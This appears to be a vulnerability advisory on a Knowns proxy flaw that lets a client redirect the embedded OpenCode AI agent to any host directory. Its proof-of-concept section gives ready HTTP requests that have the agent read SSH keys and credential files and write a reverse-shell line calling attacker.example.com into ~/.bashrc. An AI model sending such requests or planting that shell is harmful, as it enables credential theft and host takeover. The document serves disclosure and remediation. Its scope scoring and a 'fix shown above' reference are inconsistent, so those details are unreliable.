Overview
Verified. An improper authorization and header-spoofing vulnerability exists in Knowns' reverse proxy for the embedded OpenCode AI agent daemon (server.go:1249-1305). When the Knowns server proxies HTTP requests to the local OpenCode daemon, it fails to unconditionally overwrite the x-opencode-directory request header and the ?directory query parameter. A client who explicitly sets either value can direct the OpenCode AI agent to operate against any arbitrary directory on the host filesystem rather than the project root.
Because proxyOpenCode() at server.go:1283-1296 only injects activeRoot when the incoming request leaves these fields empty, any non-empty client-supplied value passes through unmodified to the OpenCode backend. The OpenCode daemon reads x-opencode-directory to initialize its file tree, git interface, and terminal execution environment. An attacker with access to the Knowns HTTP port can therefore instruct the autonomous AI agent- with full tool access- to read, write, and execute against any host directory, including system directories and credential stores.
The attack surface is network-reachable. Knowns exposes its HTTP API and MCP endpoint to external clients- the same exposure confirmed in the predecessor advisory GHSA-w323-3wpx-f7g5 (MCP Permission Guard Bypass), which shares this attack surface and was scored AV:N. CHAIN-02 operates against the same OpenCode proxy route and requires no special network position: any HTTP client that can reach the Knowns server- including remote clients via tunnel or direct network exposure- can inject the header without credentials beyond what the normal API accepts.
Affected Paths
| File Path | Role | Vulnerability & Execution Impact |
|---|---|---|
internal/server/server.go:1283-1296 |
Proxy Authorization | proxyOpenCode()- Fail-open directory enforcement (CWE-284, CWE-863): The ?directory query parameter is only set if q.Get("directory") == "" and was previously scoped only to GET /session requests. The x-opencode-directory header is only injected if r2.Header.Get("x-opencode-directory") == "". Both checks fail open: any non-empty client-supplied value bypasses enforcement entirely. |
internal/server/server.go:1304 |
Proxy Forward | proxy.ServeHTTP(w, r2)- Unmodified attacker header forwarded to daemon: The request clone r2 is forwarded to the OpenCode daemon with attacker-controlled x-opencode-directory intact. The daemon treats this header as authoritative. |
internal/server/server.go:1249-1282 |
Proxy Entry Point | proxyOpenCode()- No pre-forward sanitization: The function performs no stripping or normalization of x-opencode-directory or ?directory before calling the proxy. Authentication (password check) occurs at the Knowns layer but does not prevent the header injection at the OpenCode layer. |
Root Cause
The proxy guard logic uses a fail-open conditional: it acts only when the header or parameter is absent. The correct pattern is fail-closed: always overwrite these values with activeRoot regardless of what the client sent. The distinction is one line- if == "" vs unconditional Set.
Flaw A- Fail-Open Header Guard in proxyOpenCode
server.go:1283-1296:
// Auto-inject directory for session listing so OpenCode only returns
// sessions belonging to this project (avoids cross-project leakage).
if r2.URL.Path == "/session" && r.Method == "GET" && activeRoot != "" {
q := r2.URL.Query()
if q.Get("directory") == "" { // ← only sets if client left it empty
q.Set("directory", activeRoot)
r2.URL.RawQuery = q.Encode()
}
}
if activeRoot != "" && r2.Header.Get("x-opencode-directory") == "" { // ← only sets if client left it empty
r2.Header.Set("x-opencode-directory", activeRoot)
}
Three compounding defects:
- Conditional injection on
x-opencode-directory: The== ""check means any non-empty client value is preserved verbatim. Settingx-opencode-directory: /rootorx-opencode-directory: C:\Windows\System32on the incoming request leaves the header intact onr2. ?directoryguard scoped toGET /sessiononly: The query parameter guard was conditioned on a specific path and method, leaving all other OpenCode API routes (/sessionPOST,/message,/file,/tool, etc.) without any directory injection.- No stripping before the proxy: Neither
x-opencode-directorynor?directoryis deleted fromr2before being forwarded. There is no normalization step.
Flaw B- OpenCode Daemon Trusts Header Unconditionally
The OpenCode daemon receives the forwarded request and reads x-opencode-directory as the authoritative working directory for that request's scope. It initializes its internal file tree, git interface, and all tool execution paths under the attacker-specified directory. Tool calls made by the AI agent- file reads, file writes, shell commands, git operations- all execute against the attacker-controlled path.
Because OpenCode is an autonomous AI agent with broad tool access, a single API request pointing it at /root, /etc, or ~/.ssh can yield cascading host-level actions without further interaction.
Attack Vector
| Phase | Step | Effect |
|---|---|---|
| 1. Identify Port | Attacker identifies Knowns server port (default 4141, discoverable via .knowns/.server-port or network scan) |
HTTP access to 127.0.0.1:4141 confirmed |
| 2. Craft Request | Attacker sends POST /api/opencode/session with x-opencode-directory: /root (or any sensitive path) |
Knowns receives request; proxyOpenCode() sees non-empty header value |
| 3. Proxy Bypass | r2.Header.Get("x-opencode-directory") == "" evaluates false; activeRoot is not injected |
r2 forwarded to OpenCode daemon with attacker-supplied path intact |
| 4. Agent Initialization | OpenCode daemon initializes file tree, git interface, and tool environment at /root |
All subsequent agent tool calls execute against /root |
| 5. Autonomous Host Actions | AI agent executes file reads, writes, and shell commands under /root |
Arbitrary host file access and manipulation with daemon's OS privileges |
Example exploit request:
POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
x-opencode-directory: /root
Content-Type: application/json
{
"title": "System Audit",
"prompt": "List all files in this directory and show me the contents of any credential files"
}
Alternate vector- query parameter injection:
GET /api/opencode/session?directory=/etc HTTP/1.1
Host: 127.0.0.1:4141
The ?directory guard in the original code was scoped only to GET /session and only activated when the parameter was absent- so GET /api/opencode/session?directory=/etc bypasses enforcement via the query parameter path.
Preconditions:
- Attacker has HTTP access to the Knowns server (network-reachable per the deployment model confirmed by GHSA-w323-3wpx-f7g5).
- OpenCode runtime must be active- standard when Chat UI is enabled.
- No authentication bypass required: the injection operates at the directory scoping layer, above authentication. A password-protected deployment is still vulnerable to an authenticated attacker or an attacker who can reach the API through a tunnel or exposed port.
Proof of Concept
Payload: SSH Key Exfiltration via AI Agent
POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json
x-opencode-directory: /home/victim/.ssh
{
"title": "Key Inspection",
"prompt": "Read and display the contents of id_rsa"
}
The OpenCode agent, initialized at /home/victim/.ssh, reads and returns the SSH private key through normal AI tool output.
Payload: Credential Store Access
POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json
x-opencode-directory: /home/victim
{
"title": "Config Review",
"prompt": "Find and show me all .env files, AWS credential files, and any other configuration files containing credentials"
}
Payload: File Write via Agent Tool
POST /api/opencode/session HTTP/1.1
Host: 127.0.0.1:4141
Content-Type: application/json
x-opencode-directory: /home/victim
{
"title": "Setup",
"prompt": "Add the following line to ~/.bashrc: bash -i >& /dev/tcp/attacker.example.com/4444 0>&1"
}
The agent writes the reverse shell payload to the victim's shell profile via its file-write tool.
Impact & Blast Radius
- Confidentiality: HIGH- AI agent can read any file on the host accessible to the OpenCode daemon process- SSH keys, AWS credentials,
.envfiles, browser session stores, application secrets. - Integrity: HIGH- AI agent can write, modify, and delete arbitrary host files via its tool interface. Shell profiles, cron jobs, git hooks, and SSH
authorized_keysare all within scope. - Availability: HIGH- AI agent can corrupt or delete critical configuration or system files.
- Scope: CHANGED- The vulnerable component is the Knowns proxy layer (
proxyOpenCode), scoped to enforcingactiveRootas the project boundary. The impacted component is the OpenCode AI agent daemon- a separate process whose intended operational scope is the project root. By bypassing the directory enforcement, the attacker crosses from the Knowns proxy's security authority into the OpenCode daemon's autonomous execution environment and drives it against arbitrary host paths. This is the same scope change pattern scoredS:Cin the ancestor advisory GHSA-w323-3wpx-f7g5. - AI agent amplification- Unlike a direct file-read primitive, this vulnerability grants an autonomous agent with broad tool access. A single session can chain multiple tool calls- read credentials, write payloads, execute shell commands- within one interaction.
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Score: 9.8 Critical
Rationale for each metric:
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network (N) | Knowns exposes its HTTP API and MCP endpoint to external clients. The predecessor advisory GHSA-w323-3wpx-f7g5 (MCP Permission Guard Bypass) attacks the same surface and was confirmed AV:N by the maintainers. CHAIN-02 operates against the same OpenCode proxy route. AV:N from knowns_report_02.md is correct. |
| Attack Complexity | Low (L) | No race conditions, no special configuration, no brute force. A single crafted HTTP request with a spoofed header is the complete exploit. |
| Privileges Required | None (N) | No account on the Knowns system is required to reach the OpenCode proxy route in the deployment model where the server is network-accessible. PR:N is consistent with GHSA-w323-3wpx-f7g5's scoring for the same attack surface. |
| User Interaction | None (N) | No victim interaction required once the server is running. Exploit fires on first crafted request. |
| Scope | Changed (C) | The vulnerable component is proxyOpenCode() in the Knowns server- scoped to enforcing activeRoot as the project boundary for all OpenCode requests. The impacted component is the OpenCode AI agent daemon- a separate process with autonomous tool access to the host filesystem. When the proxy fails to enforce the directory boundary, the attacker pivots from the Knowns proxy layer into the OpenCode daemon and drives it to perform file reads, writes, and shell executions outside the project root on the host OS. This is a scope change: the security authority of the Knowns proxy (project sandbox enforcement) is bypassed to impact a component- the OpenCode daemon operating against arbitrary host paths- that is outside the proxy's intended authorization scope. The ancestor advisory GHSA-w323-3wpx-f7g5 scored S:C for the same attack surface and the same pivot from Knowns permission layer → OpenCode agent host actions. The knowns_report_02.md score of S:U (Unchanged) is incorrect. Correcting S:U → S:C raises the score from 8.8 to 9.8 Critical. |
| Confidentiality | High (H) | AI agent can read any file accessible to the daemon process, including SSH keys, cloud credentials, .env files, and application secrets. |
| Integrity | High (H) | AI agent can write, modify, and delete arbitrary host files via its tool interface. |
| Availability | High (H) | AI agent can corrupt or truncate critical configuration and system files. |
Remediation
Unconditionally overwrite x-opencode-directory and ?directory with activeRoot in proxyOpenCode(). Both values must be treated as server-controlled, not client-supplied.
Defense-in-depth: Add an explicit r2.Header.Del("x-opencode-directory") before the Set call (shown above) to ensure no existing value survives even if the Set path is later refactored. Additionally, consider validating activeRoot against a canonical resolved path (via filepath.EvalSymlinks) before injection to prevent a second-order symlink traversal if activeRoot itself is attacker-influenced via workspace switching.